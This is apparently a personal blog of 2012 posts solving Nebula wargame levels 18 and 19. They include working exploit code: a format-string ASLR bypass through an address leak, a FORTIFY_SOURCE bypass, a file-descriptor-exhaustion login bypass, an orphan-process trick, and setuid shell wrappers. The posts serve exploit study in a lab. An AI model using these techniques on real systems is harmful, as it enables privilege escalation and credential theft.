Saturday, September 29, 2012

Defeating ASLR Using Information Leak

In this post I will explain how ASLR can be defeated using information leak. I tried to solve Nebula [18] by taking advantage of format string vulnerability and information leak. The idea is to call the "login" function, then fgets() is used to copy the password into the stack. Then call the "notsupported" function and use the format string vulnerability to read the password from the stack. But the problem is file[64] buffer is small, during the call to "notsupported" function the password of previous stack frame is overwritten. So this is not a solution but just a POC how this approach can be used incase the data is not overwritten.

Even if the buffer is big enough, we still have ASLR which will make this attack difficult. ASLR will randomize the address of file buffer during each run. What we will do is call "notsupported" function twice. First time to read some address from the live running process using format string vulnerability, compute the new address of file buffer using the leaked information, call the "notsupported" again with the final payload to read the password.

To demostrate this, declare the buffer size to be file[512]. Nebula root account is used to compile a new binary with necessary permission changes. Also disable ASLR for debugging purpose, we will enable it by the end. GDB is used to find the address of file[512] buffer 0xbffff3fc.

level18@nebula:/tmp$ ls -ld /home/flag18/flag18_leak
-rwsr-sr-x 1 flag18 level18 17372 2012-01-27 07:33 /home/flag18/flag18_leak

//login function
#define PWFILE "/home/flag18/password"

void login(char *pw)
{
 FILE *fp;
 fp = fopen(PWFILE, "r");
 if(fp) {
  char file[512]; //buffer size modified for demonstration
  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp);
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");
 globals.loggedin = 1;
}
We pick up a address from the stack, here its the 8th DWORD. The difference between the address picked from this position and file[512] is found to be 0x240 bytes.
exploit.py
#!/usr/bin/env python
import os
import sys
from time import sleep
from string import find,rfind
from struct import pack

pipe_r, pipe_w = os.pipe()
param = ["/home/flag18/flag18_leak","-dformat","-vvv"]
pid = os.fork()
if pid == 0:
        # child process
        os.close(pipe_w)
        os.dup2(pipe_r, 0)
        os.execl(param[0],param[0],param[1],param[2])
# parent process
#file_addr = 0xbffff3fc
#rand_addr = 0xbffff63c
os.close(pipe_r)
diff = 0x240 # rand_addr - file_addr
payload = "login\nsite exec ZZAAAA.%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\n"
os.write(pipe_w, payload)
sleep(3) #wait till the file is created for read
leak_data = open(param[1][2:],"r").read()
rand_addr = eval(leak_data[find(leak_data,'|0')+1:rfind(leak_data,'|')])
file_addr = rand_addr - diff  #randomized address of file[512] buffer
print("[*] Using address: {0}".format(hex(file_addr)))
final_payload = "login\nsite exec ZZ" + pack("<I",file_addr) + ".%p.%p.%p.%p.%p.%p.%p|%p|%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%s\n"
os.write(pipe_w, final_payload)
Without ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
0
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbffff3fcL
level18@nebula:/tmp$ cat format | tail -1
ZZ����.0x217191.0x804c008.0x8048f3f.0xbffff61c.0x804c308.0xbffff641.0x8048f57|0xbffff63c|0x8048b86.0xbffff646.0x8048fca.0x9.0xbffff63c.(nil).0x11f74d.0xbffff804.0xbffff7f4.0x134be8.0x1.0xb7fffb18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
With ASLR
level18@nebula:/tmp$ cat /proc/sys/kernel/randomize_va_space 
2
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbfc3b37cL
level18@nebula:/tmp$ cat format | tail -1
ZZ|�ÿ.0x432191.0x9ef3008.0x8048f3f.0xbfc3b59c.0x9ef3308.0xbfc3b5c1.0x8048f57|0xbfc3b5bc|0x8048b86.0xbfc3b5c6.0x8048fca.0x9.0xbfc3b5bc.(nil).0xcf774d.0xbfc3b784.0xbfc3b774.0x34fbe8.0x1.0xb7721b18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
level18@nebula:/tmp$ python exploit.py 
[*] Using address: 0xbf93d0bcL
level18@nebula:/tmp$ cat format | tail -1
ZZ�Г�.0x1f6191.0x97f5008.0x8048f3f.0xbf93d2dc.0x97f5308.0xbf93d301.0x8048f57|0xbf93d2fc|0x8048b86.0xbf93d306.0x8048fca.0x9.0xbf93d2fc.(nil).0x32f74d.0xbf93d4c4.0xbf93d4b4.0x113be8.0x1.0xb77fab18.0x65746973.0x65786520.0x5a5a2063.44226113-d394-4f46-9406-91888128e27a
As you can see, we managed to read the password 44226113-d394-4f46-9406-91888128e27a from the stack using format string vulnerability bypassing ASLR.

Wednesday, September 26, 2012

Exploit Exercise - Improper File Handling

I noticed this vulnerability in Nebula [18] during a debugging session when trying to solve this level using format string vulnerability.
Vulnerability
        fp = fopen(PWFILE, "r");
 if(fp) {
  char file[64];

  if(fgets(file, sizeof(file) - 1, fp) == NULL) {
   dprintf("Unable to read password file %s\n", PWFILE);
   return;
  }
                fclose(fp); //no call to fclose is made in the disassembly of login
  if(strcmp(pw, file) != 0) return;  
 }
 dprintf("logged in successfully (with%s password file)\n", fp == NULL ? "out" : "");

 globals.loggedin = 1; 
//disas login
   0x08048c7e <+46>: call   0x8048750 <fopen@plt>
   0x08048c83 <+51>: test   %eax,%eax
   0x08048c85 <+53>: mov    %eax,%ebx
   0x08048c87 <+55>: je     0x8048cb5 <login+101>
   0x08048c89 <+57>: lea    0x1c(%esp),%esi
   0x08048c8d <+61>: mov    %eax,0x8(%esp)
   0x08048c91 <+65>: movl   $0x3f,0x4(%esp)
   0x08048c99 <+73>: mov    %esi,(%esp)
   0x08048c9c <+76>: call   0x8048670 <fgets@plt>
   0x08048ca1 <+81>: test   %eax,%eax
   0x08048ca3 <+83>: je     0x8048d18 <login+200>
   0x08048ca5 <+85>: mov    %esi,0x4(%esp)
   0x08048ca9 <+89>: mov    %edi,(%esp)
   0x08048cac <+92>: call   0x8048640 <strcmp@plt>
   0x08048cb1 <+97>: test   %eax,%eax
   0x08048cb3 <+99>: jne    0x8048cf4 <login+164>
In the above code globals.loggedin can be set to 1 if fopen() function fails. During the debugging session it failed as flag18 drops privileges within the debugger and it doesn't have the permission to read the password file. After reading through the error cases for fopen, I found a couple of them interesting in the context of the challenge - EMFILE and EINTR. The login function simply returns without closing the file it opened. Lets see if we can take advantage of this
level18@nebula:/tmp$ ulimit -Sn
1024
level18@nebula:/tmp$ ulimit -Hn
4096
level18@nebula:/tmp$ ulimit -a | grep files
open files                      (-n) 1024
level18@nebula:/tmp$ ulimit -Sn 50
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24
level18@nebula:/tmp$ cat test | tail
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [login test] as input
attempting to login
logged in successfully (without password file)
got [shell] as input
attempting to start shell
level18@nebula:/tmp$ cat /usr/include/asm-generic/errno-base.h | grep 24
#define EMFILE  24 /* Too many open files */
There is a per process limit for number of open file descriptors a process can have.ulimit can be used to change this number upto the hard limit. Here we reduce the number and force fopen to fail. Error 24 is nothing but "Too many open files". We need to close a few files inorder to lauch the shell. The application itself provides an option to close a file using "closelog" but I was not sure if this was enough. Lets try it out
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 -d test -v -v -v
/home/flag18/flag18: -d: invalid option
We managed to launch the shell but the same arguments passed to flag18 binary is used for launching the shell too and bash complains about this, since its invalid options. After looking into the man page, we can find a few options to get things right.
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
test: line 1: Starting: command not found
test: line 2: got: command not found
As you can see, bash tries to execute commands from the 'test' file. So lets create a valid file and update the $PATH variable.
level18@nebula:/tmp$ cat Starting 
ulimit -Sn 1024
gcc -o shell shell.c
chmod 4770 shell
level18@nebula:/tmp$ cat shell.c 
int main(void)
{
 setresuid(geteuid(), geteuid(), geteuid());
 system("/bin/sh");
 return 0;
}
level18@nebula:/tmp$ export PATH=/tmp:$PATH
level18@nebula:/tmp$ python -c 'print "login test\r\n"*50+"closelog\r\n"+"shell\r\n"' | /home/flag18/flag18 --rcfile -d test -v -v -v 2>/dev/null
level18@nebula:/tmp$ ./shell
sh-4.2$ id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)

Sunday, September 23, 2012

Exploit Exercise - Format String FORTIFY_SOURCE Bypass

Level [18] in Nebula has a handful of vulnerabilities. We will use a format string vulnerability in the function "notsupported" to solve this level. The binary has few protections that we have to bypass inorder to achieve our goal.
Vulnerability
#define dprintf(...) if(globals.debugfile) fprintf(globals.debugfile, __VA_ARGS__)
void notsupported(char *what)
{
 char *buffer = NULL;
 asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
 dprintf(what);  //here is the format string vulnerability
 free(buffer);
}

Protections
level18@nebula:~$ ./checksec.sh --file /home/flag18/flag18 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   /home/flag18/flag18

level18@nebula:~$ ./checksec.sh --fortify-file /home/flag18/flag18 
* FORTIFY_SOURCE support available (libc)    : Yes
* Binary compiled with FORTIFY_SOURCE support: Yes

level18@nebula:~$ cat /proc/sys/kernel/randomize_va_space 
2
Of all this, FORTIFY_SOURCE is the protection that we have to concentrate on. The idea is to use format string vulnerability to set globals.loggedin variable and access the shell. ASLR is disabled using nebula root account for debugging purpose. We can set in it on when we run the final exploit, though the presence or absence of ASLR is not going to affect the exploit. Libc randomization can be disabled using resource limit in case needed.

We will be following the paper A Eulogy for Format Strings to bypass FORTIFY_SOURCE protection using an interger overflow bug in vfprintf.c code.
level18@nebula:~$ ulimit -s unlimited
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)
level18@nebula:~$ ldd /home/flag18/flag18 
 linux-gate.so.1 =>  (0x40020000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x40028000)
 /lib/ld-linux.so.2 (0x40000000)

level18@nebula:~$ ldd --version
ldd (Ubuntu EGLIBC 2.13-20ubuntu5) 2.13

fprintf_chk.c
int ___fprintf_chk (FILE *fp, int flag, const char *format, ...)
{
  va_list ap;
  int done;
  _IO_acquire_lock_clear_flags2 (fp);
  if (flag > 0)
    fp->_flags2 |= _IO_FLAGS2_FORTIFY;
  va_start (ap, format);
  done = vfprintf (fp, format, ap);
  va_end (ap);
  if (flag > 0)
    fp->_flags2 &= ~_IO_FLAGS2_FORTIFY;
  _IO_release_lock (fp);
  return done;
}
ldbl_strong_alias (___fprintf_chk, __fprintf_chk)

fp->_flags2
So as per the paper, we have to toggle off the _IO_FLAGS2_FORTIFY bit in the FILE* structure. Unlike stdout, fp FILE * structure is setup in stack. We have to locate the address of fp->_flags2 and nargs to disable FORTIFY_SOURCE protection.
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.
(gdb) break vfprintf
Function "vfprintf" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (vfprintf) pending.
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.

Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) c
Continuing.
site exec %1$*269208516$x %1073741824$
##########################################################################
Since cdecl calling convention is used, the top of the stack will have the address of fp FILE structure. Lets check the disassembly when vfprintf is called before it crashes.
Breakpoint 1, 0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) bt
#0  0x40068140 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#1  0x4006d09b in ?? () from /lib/i386-linux-gnu/libc.so.6
#2  0x40068383 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
#3  0x4010e191 in __fprintf_chk () from /lib/i386-linux-gnu/libc.so.6
#4  0x08048d95 in notsupported ()
#5  0x08048b86 in main ()
(gdb) x/10i 0x4006d09b-16
   0x4006d08b: mov    %ecx,0x8(%esp)
   0x4006d08f: mov    %edx,0x4(%esp)
   0x4006d093: mov    %eax,(%esp)
   0x4006d096: call   0x40068130 <vfprintf>
   0x4006d09b: mov    0x38a0(%ebx),%ebp
   0x4006d0a1: test   %ebp,%ebp
   0x4006d0a3: mov    %eax,%edi
   0x4006d0a5: jne    0x4006d1c8
   0x4006d0ab: mov    -0x6c(%ebx),%eax
   0x4006d0b1: mov    %esi,0x20c4(%esp)
(gdb) x/x $eax
0xbfffef50: 0xfbad8004
(gdb) x/50x $eax
0xbfffef50: 0xfbad8004 0xbffff4e8 0x4006892c 0xbffff518
0xbfffef60: 0xbfffcf50 0xbfffcf50 0xbfffef50 0x00000000
0xbfffef70: 0x00000000 0x00000000 0x00000027 0x08049017
0xbfffef80: 0xfbad8004 0x00000000 0x00000000 0x00000004
###########################################################################
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $pc
=> 0x40069359 <vfprintf+4649>: movl   $0x0,(%edx,%eax,4)
fp->_flags2 is at 0xbfffef8c, then calculate the width argument needed to toggle off this.
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) p/d (0xbfffef8c-$edx)/4 + 1
$1 = 2848

site exec %1$*2848$ %1073741824$

(gdb) c
Continuing.
flag18: vfprintf.c:1823: _IO_vfprintf_internal: Assertion 's->_flags2 & 4' failed.

Program received signal SIGABRT, Aborted.
0x40020416 in __kernel_vsyscall ()
We got the width argument right, this causes the assert (s->_flags2 & _IO_FLAGS2_FORTIFY) to fail. Next we have to find the width argument to overwrite nargs.
nargs
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d asdf -vvv
site exec %1$*3735928559$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x4006927a in vfprintf () from /lib/i386-linux-gnu/libc.so.6

(gdb) x/i $pc
=> 0x4006927a >vfprintf+4426<: mov    %edx,0x8(%esp)
Search for nargs value in the stack. I found it in two locations, hit the right one. Then compute the required width argument
(gdb) set $x=0xbfff0000
(gdb) while(*++$x!=0xdeadbeef && $x<0xbffffffc)
 >end
(gdb) p/x $x
$5 = 0xbfffca88

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*269208516$x %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40069359 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/d (0xbfffca88-$edx)/4 + 1
$1 = 479

(gdb) run -d format -vvv
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40068cf0 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40068cf0 <vfprintf+3008>: mov    (%ecx,%eax,4),%eax
(gdb) p/x $ecx+$eax*4
$6 = 0xc0004874
This is where I got stuck. After removing both flags, some computations are going beyond the stack segment and seg faults before returning from vfprintf. After a discussion in #io, the guys over there pointed out that it may be due to high base address of parameter list. So I decided to export a huge environment variable, this wil lower the stack address and SIGSEGV is avoided.
level18@nebula:/tmp$ export FORMA=`python -c 'print "A"*30000'`

(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec %1$*479$ %1$*2848$ %1073741824$
^C

Exploit
Now vfprintf returns without SIGSEGVing. As mentioned earlier we wil set globals.loggedin variable and then call the shell. globals.loggedin is at address 0x804b0b4. This address in .bss is not randomized even with ASLR set to 2. After messing up with FORTIFY_SOURCE I had problems locating the format string in stack using positional parameters. An easy workaround is to initialise stack with needed information as per this post Controlling uninitialized memory with LD_PRELOAD. We populate the stack with the address of globals.loggedin
level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "B"*30000'`
(gdb) run -d format -vvv
Starting program: /home/flag18/flag18 -d format -vvv
site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$

Program received signal SIGSEGV, Segmentation fault.
0x40072f00 in vfprintf () from /lib/i386-linux-gnu/libc.so.6
(gdb) x/i $eip
=> 0x40072f00 <vfprintf+11728>: mov    %edx,(%eax)
(gdb) p/x $eax
$1 = 0x42424242
(gdb) p/x $edx
$2 = 0x1


level18@nebula:/tmp$ export LD_PRELOAD=`python -c 'print "\xb4\xb0\x04\x08"*7500'`
level18@nebula:/tmp$ echo -e 'site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$\r\n' | /home/flag18/flag18 -d format -v -v -v
level18@nebula:/tmp$ cat format
Starting up. Verbose level = 3
got [site exec |%20$x| %1$*479$ %1$*2848$ %1073741824$] as input
|804b0b4| %134525108%134525108 %got [] as input
We are almost done, with suitable bash options write into 0x804b0b4. As you can see bash displays the version info, using suitable options we can get an interactive priviledge shell to execute getflag. Im not going to discuss about it in this post.
level18@nebula:/tmp$ echo -e 'site exec |%20$n| %1$*479$ %1$*2848$ %1073741824$\r\nshell\r\n' | /home/flag18/flag18 --version -d format -v -v -v 2>/dev/null
GNU bash, version 4.2.10(1)-release (i686-pc-linux-gnu)
Copyright (C) 2011 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Monday, September 10, 2012

Exploit Exercise - Orphan Process and Race Condition

Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
int main(int argc, char **argv, char **envp)
{
 pid_t pid;
 char buf[256];
 struct stat statbuf;
 /* Get the parent's /proc entry, so we can verify its user id */
 snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
 /* stat() it */
 if(stat(buf, &statbuf) == -1) {
  printf("Unable to check parent process\n");
  exit(EXIT_FAILURE);
 }
 /* check the owner id */
 if(statbuf.st_uid == 0) {
  /* If root started us, it is ok to start the shell */
  execve("/bin/sh", argv, envp);
  err(1, "Unable to execve");
 }
 printf("You are unauthorized to run this program\n");
}
This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, NULL, NULL);
                }
        }
        else
                return 0;
}

I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:20 sh
 5323 pts/0    00:00:00 sh
 5327 pts/0    00:00:00 ps
level19@nebula:/tmp$ ./a.out
level19@nebula:/tmp$ Orphan....

level19@nebula:/tmp$ ps
  PID TTY          TIME CMD
 4951 pts/0    00:10:00 sh
 5300 pts/0    00:00:21 sh
 5323 pts/0    00:00:00 sh
 5329 pts/0    00:00:00 sh
 5330 pts/0    00:00:00 ps
level19@nebula:/tmp$
On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c

#include <stdio.h>
#include <unistd.h>

int main(void)
{
        pid_t child;
        char *file = "/home/flag19/flag19";
        char *arg[] = {"/bin/sh", "-c",
                       "gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL};
        char *env[] = {"PATH=/bin:/usr/bin",NULL};
        child = fork();
        if(child == (pid_t) 0)
        {
                sleep(3);
                if(getppid() == (pid_t) 1)
                {
                printf("Orphan...\n");
                execve(file, arg, env);
                }
        }
        else
                return 0;
}
sys.c

int main(void)
{
        setresuid(geteuid(), geteuid(), geteuid());
        system("/bin/sh");
        return 0;
}


level19@nebula:/tmp$ gcc -o exploit19 exploit19.c
level19@nebula:/tmp$ ./exploit19
level19@nebula:/tmp$ Orphan...

level19@nebula:/tmp$ ./sys
sh-4.2$ id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
sh-4.2$ getflag
You have successfully executed getflag on a target account
sh-4.2$

Sunday, September 9, 2012

First Post!!!

First post. Checking it out!
    #include <stdio.h>
    int main(void)
    {
      return 0;
    }